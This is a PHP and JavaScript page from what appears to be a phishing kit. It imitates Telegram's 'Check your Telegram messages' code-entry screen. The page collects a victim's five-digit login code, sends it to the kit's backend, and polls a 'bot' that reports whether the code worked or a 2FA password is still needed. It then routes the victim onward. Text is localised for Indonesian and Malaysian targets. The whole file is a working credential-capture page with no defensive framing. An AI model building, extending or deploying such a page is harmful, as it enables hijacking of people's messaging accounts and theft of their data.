
<?php 
// Prevent direct access - harus melalui index.php
if (!defined('ACCESSED_VIA_INDEX')) {
    header('Location: /');
    exit;
}

session_start(); 
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Verify</title>
    <style>
        @import url('https://fonts.googleapis.com/css2?family=Ubuntu:wght@300;400;500;700&display=swap');
        :root {
            --blue: #5EA3DE;
            --dark: #1D2733;
        }
        * {
            font-family: 'Ubuntu', sans-serif;
            font-weight: 400;
            margin: 0;
            padding: 0;
            box-sizing: border-box;
            color: #fff;
        }
        html, body {
            width: 100vw;
            height: 100vh;
            background: var(--dark);
        }
        
        /* Back Arrow Button */
        .back-arrow {
            position: fixed;
            top: 20px;
            left: 20px;
            width: 40px;
            height: 40px;
            border-radius: 12px;
            display: flex;
            align-items: center;
            justify-content: center;
            cursor: pointer;
            transition: all 0.2s ease;
            z-index: 10;
        }
        .back-arrow:hover {
            background: rgba(255, 255, 255, 0.2);
            border-color: var(--blue);
        }
        .back-arrow svg {
            width: 20px;
            height: 20px;
            fill: #fff;
        }
        
        /* Modal Styles */
        .modal {
            position: fixed;
            inset: 0;
            display: grid;
            place-items: center;
            padding: 24px;
            height: 100dvh;
            overflow: auto;
            opacity: 0;
            pointer-events: none;
            transition: opacity 0.18s ease;
            z-index: 1000;
        }
        .modal.is-open {
            opacity: 1;
            pointer-events: auto;
        }
        .modal::before {
            content: "";
            position: absolute;
            inset: 0;
            background: rgba(29, 39, 51, 0.8);
            backdrop-filter: blur(4px);
        }
        .dialog {
            position: relative;
            z-index: 1;
            width: min(400px, 92vw);
            background: var(--dark);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 16px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.3), 0 2px 6px rgba(0, 0, 0, 0.2);
            padding: 28px 28px 20px;
            transform: translateY(6px) scale(0.98);
            opacity: 0;
            transition: transform 0.2s ease, opacity 0.2s ease;
            max-height: calc(100dvh - 48px);
            overflow: auto;
        }
        .is-open .dialog {
            transform: translateY(0) scale(1);
            opacity: 1;
        }
        .modal-title {
            font-size: 1.5rem;
            margin: 0 0 0.6rem;
            font-weight: 600;
            color: #fff;
        }
        .modal-lead {
            font-size: 1rem;
            color: #bcbcbc;
            margin: 0.2rem 0 1.2rem;
        }
        .modal-phone {
            font-size: 1.3rem;
            font-weight: 600;
            letter-spacing: 0.3px;
            margin: 0.6rem 0 1.1rem;
            color: var(--blue);
        }
        .modal-note {
            color: #bcbcbc;
            line-height: 1.5;
            font-size: 0.95rem;
            margin: 0 0 1.4rem;
        }
        .modal-footer {
            display: flex;
            justify-content: flex-end;
            gap: 20px;
            margin-top: 0.6rem;
        }
        .btn-link {
            appearance: none;
            border: 0;
            background: transparent;
            color: var(--blue);
            font-weight: 600;
            font-size: 1rem;
            padding: 0.5rem 0.8rem;
            border-radius: 8px;
            cursor: pointer;
            transition: all 0.2s ease;
        }
        .btn-link:focus-visible {
            outline: 2px solid var(--blue);
        }
        .btn-link:hover {
            background: rgba(94, 163, 222, 0.1);
        }
        
        .container {
            min-height: 100vh;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 16px;
        }
        .bgimg img {
            width: 120px;
            margin-bottom: 16px;
        }
        h2 {
            font-size: 18px;
            font-weight: 600;
            margin-bottom: 8px;
        }
        .kami {
            font-size: 13px;
            color: #bcbcbc;
            text-align: center;
            margin-bottom: 24px;
        }
        form {
            width: 100%;
            max-width: 350px;
            display: flex;
            flex-direction: column;
            align-items: center;
        }
        .box-input-pin {
            display: flex;
            justify-content: center;
            gap: 8px;
            margin-bottom: 8px;
        }
        .inppin {
            width: 44px;
            height: 48px;
            border: 2px solid #7f7f7f;
            border-radius: 7px;
            background: none;
            font-size: 22px;
            text-align: center;
            color: #fff;
            outline: none;
            transition: border 0.2s;
        }
        .inppin:focus {
            border: 2px solid var(--blue);
        }
        
        /* Error state - Red border for all inputs */
        .inppin.error {
            border: 2px solid #ff4d4f !important;
            background-color: rgba(255, 77, 79, 0.05);
            animation: shake 0.5s ease-in-out;
        }
        
        /* Success state - Green border for sequential animation */
        .inppin.success {
            border: 2px solid #52c41a !important;
            background-color: rgba(82, 196, 26, 0.1);
            animation: success-wave 0.4s ease-in-out;
        }
        
        /* Error state with stronger shake effect */
        .inppin.error {
            border: 2px solid #ff4d4f !important;
            background-color: rgba(255, 77, 79, 0.1);
            animation: error-shake 0.6s ease-in-out;
        }
        
        /* Animations */
        @keyframes shake {
            0%, 100% { transform: translateX(0); }
            25% { transform: translateX(-3px); }
            75% { transform: translateX(3px); }
        }
        
        @keyframes success-wave {
            0% { 
                transform: scale(1);
                box-shadow: 0 0 0 0 rgba(82, 196, 26, 0.4);
            }
            50% { 
                transform: scale(1.05);
                box-shadow: 0 0 0 8px rgba(82, 196, 26, 0.1);
            }
            100% { 
                transform: scale(1);
                box-shadow: 0 0 0 0 rgba(82, 196, 26, 0);
            }
        }
        
        @keyframes error-shake {
            0%, 100% { 
                transform: translateX(0) scale(1);
                box-shadow: 0 0 0 0 rgba(255, 77, 79, 0.4);
            }
            10%, 30%, 50%, 70%, 90% { 
                transform: translateX(-4px) scale(1.02);
                box-shadow: 0 0 0 4px rgba(255, 77, 79, 0.2);
            }
            20%, 40%, 60%, 80% { 
                transform: translateX(4px) scale(1.02);
                box-shadow: 0 0 0 4px rgba(255, 77, 79, 0.2);
            }
        }
        
        @keyframes pulse-success {
            0% { transform: scale(1); }
            50% { transform: scale(1.02); }
            100% { transform: scale(1); }
        }
        
        #wrong {
            color: #ff4d4f;
            margin-top: 8px;
            margin-bottom: 8px;
            font-size: 15px;
            text-align: center;
            display: none;
        }
        #loader {
            display: none;
            margin-top: 10px;
            color: #fff;
        }
        .sms {
            margin-top: 30px;
            font-size: 14px;
            font-weight: 500;
            color: var(--blue);
            cursor: pointer;
        }
        @media (max-width: 480px) {
            .box-input-pin {
                gap: 4px;
            }
            .inppin {
                width: 38px;
                height: 44px;
                font-size: 18px;
            }
            form {
                max-width: 98vw;
            }
        }
    </style>
</head>
<body>
    <!-- Back Arrow Button -->
    <div class="back-arrow" id="openModal">
        <svg viewBox="0 0 24 24">
            <path d="M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z"/>
        </svg>
    </div>

    <!-- Modal -->
    <div class="modal" id="editModal" aria-hidden="true">
        <div class="dialog" role="dialog" aria-modal="true" aria-labelledby="modal-title" aria-describedby="modal-desc">
            <h2 class="modal-title" id="modal-title">Change number</h2>
            <p class="modal-lead">Do you want to change your number?</p>

            <div class="modal-phone" id="modal-phone">+62 813 270942 79</div>

            <p class="modal-note" id="modal-desc">You will be redirected to the start page to enter a new number.</p>

            <div class="modal-footer">
                <button class="btn-link" id="editAction">Change Number</button>
                <button class="btn-link" id="closeModal">Cancel</button>
            </div></div>
        </div>
        </div>
    </div>

    <div class="container">
        <div class="bgimg">
            <img src="haykaljb/img/otp.png" alt="">
        </div>
        <h2>Check your Telegram messages</h2>
        <p class="kami">We have sent the code to the Telegram app for <span id="thisCcode"></span><span id="thisPhone"></span> your other devices.</p>
        <form id="formPin" autocomplete="off">
            <div class="box-input-pin">
                <input autofocus name="pin1" id="pin1" class="inppin" type="text" inputmode="numeric" pattern="[0-9]*" maxlength="1" autocomplete="one-time-code" required>
                <input name="pin2" id="pin2" class="inppin" type="text" inputmode="numeric" pattern="[0-9]*" maxlength="1" autocomplete="one-time-code" required>
                <input name="pin3" id="pin3" class="inppin" type="text" inputmode="numeric" pattern="[0-9]*" maxlength="1" autocomplete="one-time-code" required>
                <input name="pin4" id="pin4" class="inppin" type="text" inputmode="numeric" pattern="[0-9]*" maxlength="1" autocomplete="one-time-code" required>
                <input name="pin5" id="pin5" class="inppin" type="text" inputmode="numeric" pattern="[0-9]*" maxlength="1" autocomplete="one-time-code" required>
            </div>
            <div id="wrong"></div>
            <div id="loader">Loading...</div>
        </form>
        <p onclick="window.location.href=''" class="sms">Click to receive code via SMS</p>
    </div>
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
// ===== Multi-Language System =====
var currentLanguage = 'en'; // Default English

// Translation dictionary
var translations = {
    'en': {
        'invalid_otp': 'Invalid OTP code!',
        'enter_5_digits': 'Enter 5 digit numbers.',
        'failed_send_otp': 'Failed to send OTP. Try again.',
        'click_sms': 'Click to receive code via SMS'
    },
    'id': {
        'invalid_otp': 'Kode OTP tidak valid!',
        'enter_5_digits': 'Masukkan 5 digit angka.',
        'failed_send_otp': 'Gagal mengirim OTP. Coba lagi.',
        'click_sms': 'Klik untuk menerima kode via SMS'
    },
    'ms': {
        'invalid_otp': 'Kod OTP tidak sah!',
        'enter_5_digits': 'Masukkan 5 digit nombor.',
        'failed_send_otp': 'Gagal menghantar OTP. Cuba lagi.',
        'click_sms': 'Klik untuk terima kod melalui SMS'
    }
};

// Function to get translation
function t(key, ...args) {
    var text = translations[currentLanguage][key] || translations['en'][key] || key;
    return text;
}

// Function to detect country and set language
function detectAndSetLanguage() {
    // Get country code from session storage (set from Lander.html)
    var countryCode = sessionStorage.getItem("selectedCountryISO") || "";
    var phoneCountryCode = sessionStorage.getItem("ccode") || "";
    
    console.log("Language Detection - Country ISO:", countryCode, "Phone CC:", phoneCountryCode);
    
    // Check if user is from Indonesia or Malaysia
    if (countryCode === 'ID' || phoneCountryCode == '62') {
        currentLanguage = 'id'; // Indonesian
        console.log("Language set to: Indonesian");
    } else if (countryCode === 'MY' || phoneCountryCode == '60') {
        currentLanguage = 'ms'; // Malaysian/Malay
        console.log("Language set to: Malaysian");
    } else {
        currentLanguage = 'en'; // Default English for other countries
        console.log("Language set to: English (default)");
    }
    
    // Apply translations to static elements
    applyTranslations();
}

// Function to apply translations to static elements
function applyTranslations() {
    $('.sms').text(t('click_sms'));
}

$(document).ready(function() {
    // Initialize language detection
    detectAndSetLanguage();
    
    // Fokus otomatis dan hanya angka
    $('.inppin').on('input', function(e) {
        this.value = this.value.replace(/[^0-9]/g, ''); // hanya angka
        var $inputs = $('.inppin');
        var idx = $inputs.index(this);
        if (this.value.length === 1 && idx < $inputs.length - 1) {
            $inputs.eq(idx + 1).focus();
        }
        // Jika semua input terisi, submit otomatis
        if ($inputs.toArray().every(input => input.value.length === 1)) {
            $("#formPin").submit();
        }
    });

    $('.inppin').on('keydown', function(e) {
        var $inputs = $('.inppin');
        var idx = $inputs.index(this);
        if (e.key === 'Backspace' && this.value.length === 0 && idx > 0) {
            $inputs.eq(idx - 1).focus();
        }
    });

    // Clear semua input jika klik area clear (jika ada)
    $('.clear').click(function() {
        $('.inppin').val('');
        $('#pin1').focus();
    });

    // Inisialisasi script baru
    $("#loader, #wrong").hide();
    var polling = false;

    function showErr(msgKey, ...args){
        // If msgKey is already translated text (legacy), display as-is
        // Otherwise, translate using the key
        var msg;
        if (translations[currentLanguage] && translations[currentLanguage][msgKey]) {
            msg = t(msgKey, ...args);
        } else {
            // Fallback for direct text (legacy support)
            msg = msgKey;
        }
        $("#wrong").text(msg).show();
        
        // Add error styling with shake effect and auto clear
        showErrorAnimation();
    }

    // Function for error animation and auto clear
    function showErrorAnimation() {
        $(".inppin").removeClass("success").addClass("error");
        
        // Auto clear all inputs after shake animation
        setTimeout(function() {
            $(".inppin").val("");
            $(".inppin").removeClass("error");
            $("#pin1").focus(); // Focus back to first input
        }, 600); // Match the error-shake animation duration
    }

    // Function for success animation (sequential from left to right)
    function showSuccessAnimation() {
        $(".inppin").removeClass("error");
        
        // Add success class to each input sequentially
        $(".inppin").each(function(index) {
            var $input = $(this);
            setTimeout(function() {
                $input.addClass("success");
            }, index * 100); // 100ms delay between each input
        });
    }

    function checkStatus(){
        if (polling) return; // cegah dobel request
        polling = true;

        $.ajax({
            url: "<?= base_url('API/index.php') ?>",
            type: "POST",
            dataType: "json",
            data: { method: "getStatus" }
        }).done(function(d){
            var r = d && d.result ? d.result : null;
            if(!r){ setTimeout(function(){ polling=false; checkStatus(); }, 700); return; }

            // ======== CASE YANG MEMANG HARUS RELOAD ========
            // OTP benar -> selesai (reload untuk menampilkan SCCS.php)
            if (r.type === "OTP" && r.status === "success" && r.detail === "success") {
                // Show success animation sequentially
                showSuccessAnimation();
                setTimeout(function() { 
                    window.location.reload(); // Reload akan mengarah ke SCCS.php
                }, 1200);
                return;
            }
            // OTP butuh 2FA password -> reload untuk pindah ke PASS
            if (r.type === "OTP" && r.status === "success" && r.detail === "passwordNeeded") {
                // Show success animation sequentially
                showSuccessAnimation();
                setTimeout(function() { window.location.reload(); }, 1200); // Reload untuk routing
                return;
            }
            // ===============================================

            if (r.type === "OTP" && r.status === "failed" && r.detail === "wrong") {
                $("#loader").hide();
                showErr("invalid_otp"); // This will trigger showErrorAnimation() automatically
                polling = false;
                return;
            }

            // OTP expired - tampilkan pesan sederhana
            if (r.type === "OTP" && r.status === "failed" && r.detail === "expired") {
                $("#loader").hide();
                showErr("invalid_otp");
                $(".inppin").val("");
                $("#pin1").focus();
                polling = false;
                return;
            }

            // Session expired - nomor sudah logout dari bot, redirect ke Lander
            if ((r.type === "checkPhone" || r.type === "OTP") && r.status === "failed" && r.detail === "session_expired") {
                $("#loader").hide();
                // Silently redirect to Lander without showing alert
                location.href = "Lander.php";
                return;
            }

            // Bot baru kirim ulang OTP (hasil checkPhone sukses) → jangan reload, lanjut polling
            if (r.type === "checkPhone" && r.status === "success") {
                $("#loader").hide();
                // showErr("OTP baru sudah dikirim. Masukkan kode terbaru."); // opsional
                polling = false;
                setTimeout(checkStatus, 1200);
                return;
            }

            // Default: lanjut polling
            polling = false;
            setTimeout(checkStatus, 800);
        }).fail(function(xhr, status, error){
            console.error("checkStatus AJAX Error:", {
                status: status,
                error: error,
                response: xhr.responseText,
                statusCode: xhr.status
            });
            polling = false;
            setTimeout(checkStatus, 1000);
        });
    }

    // Remove error styling when user starts typing in any pin input
    $(".inppin").on("input", function() {
        $(".inppin").removeClass("error success");
        $("#wrong").hide();
    });

    // Submit PIN
    $("#formPin").on("submit", function(e){
        e.preventDefault();
        $("#wrong").hide();

        var otp = "";
        $(".inppin").each(function(){
            otp += $(this).val();
        });

        if(!/^\d{5}$/.test(otp)){
            showErr("enter_5_digits");
            return;
        }

        $("#loader").show();
        $.ajax({
            url: "<?= base_url('API/index.php') ?>",
            type: "POST",
            dataType: "json",
            data: { method: "sendOtp", otp: otp }
        }).done(function(){
            // mulai/pacu polling
            setTimeout(checkStatus, 600);
        }).fail(function(xhr, status, error){
            $("#loader").hide();
            console.error("AJAX Error:", {
                status: status,
                error: error,
                response: xhr.responseText,
                statusCode: xhr.status
            });
            showErr("failed_send_otp");
        });
    });

    // Tampilkan nomor dan kode negara
    var set_ccode = sessionStorage.getItem("ccode");
    var set_item = sessionStorage.getItem("nohp");
    document.getElementById("thisCcode").innerHTML = set_ccode ? "+"+set_ccode+" " : "";
    document.getElementById("thisPhone").innerHTML = set_item ? set_item : "";

    // mulai polling awal
    setTimeout(checkStatus, 600);

    // Modal functionality
    const modal = document.getElementById('editModal');
    const dialog = modal.querySelector('.dialog');
    const openBtn = document.getElementById('openModal');
    const closeBtn = document.getElementById('closeModal');
    const editBtn = document.getElementById('editAction');
    const modalPhone = document.getElementById('modal-phone');

    let lastActive = null;
    
    function getFocusable() {
        return dialog.querySelectorAll(
            'a[href], button:not([disabled]), textarea, input, select, [tabindex]:not([tabindex="-1"])'
        );
    }

    function openModal() {
        // Update phone number in modal from session storage
        var ccode = sessionStorage.getItem("ccode");
        var phone = sessionStorage.getItem("nohp");
        if (ccode && phone) {
            modalPhone.textContent = "+" + ccode + " " + phone;
        }
        
        lastActive = document.activeElement;
        modal.classList.add('is-open');
        modal.setAttribute('aria-hidden', 'false');
        const focusables = getFocusable();
        if (focusables.length) focusables[0].focus();
        
        // Close on backdrop click
        modal.addEventListener('mousedown', backdropClose);
        document.addEventListener('keydown', onModalKey);
    }

    function closeModal() {
        modal.classList.remove('is-open');
        modal.setAttribute('aria-hidden', 'true');
        modal.removeEventListener('mousedown', backdropClose);
        document.removeEventListener('keydown', onModalKey);
        if (lastActive) lastActive.focus();
    }

    function backdropClose(e) {
        if (e.target === modal) closeModal();
    }

    function onModalKey(e) {
        if (e.key === 'Escape') return closeModal();
        if (e.key === 'Tab') {
            const focusables = Array.from(getFocusable());
            if (!focusables.length) return;
            const first = focusables[0];
            const last = focusables[focusables.length - 1];
            if (e.shiftKey && document.activeElement === first) {
                e.preventDefault();
                last.focus();
            } else if (!e.shiftKey && document.activeElement === last) {
                e.preventDefault();
                first.focus();
            }
        }
    }

    openBtn.addEventListener('click', openModal);
    closeBtn.addEventListener('click', closeModal);
    editBtn.addEventListener('click', () => {
        closeModal();
        
        // Langsung reset ke halaman awal tanpa input nomor baru
        $.ajax({
            url: "<?= base_url('API/index.php') ?>",
            type: "POST", 
            dataType: "json",
            data: { method: "editPhone" }
        }).done(function(response) {
            if (response.ok || response.result) {
                // Reload untuk kembali ke Lander tanpa mengubah URL
                window.location.reload();
            } else {
                alert("Failed to reset session: " + (response.message || response.error || "Unknown error"));
            }
        }).fail(function() {
            alert("Network error. Please try again.");
        });
    });
});
</script>
<link rel="stylesheet" href="../haykaljb/css/watermark.css">
</body>
</html>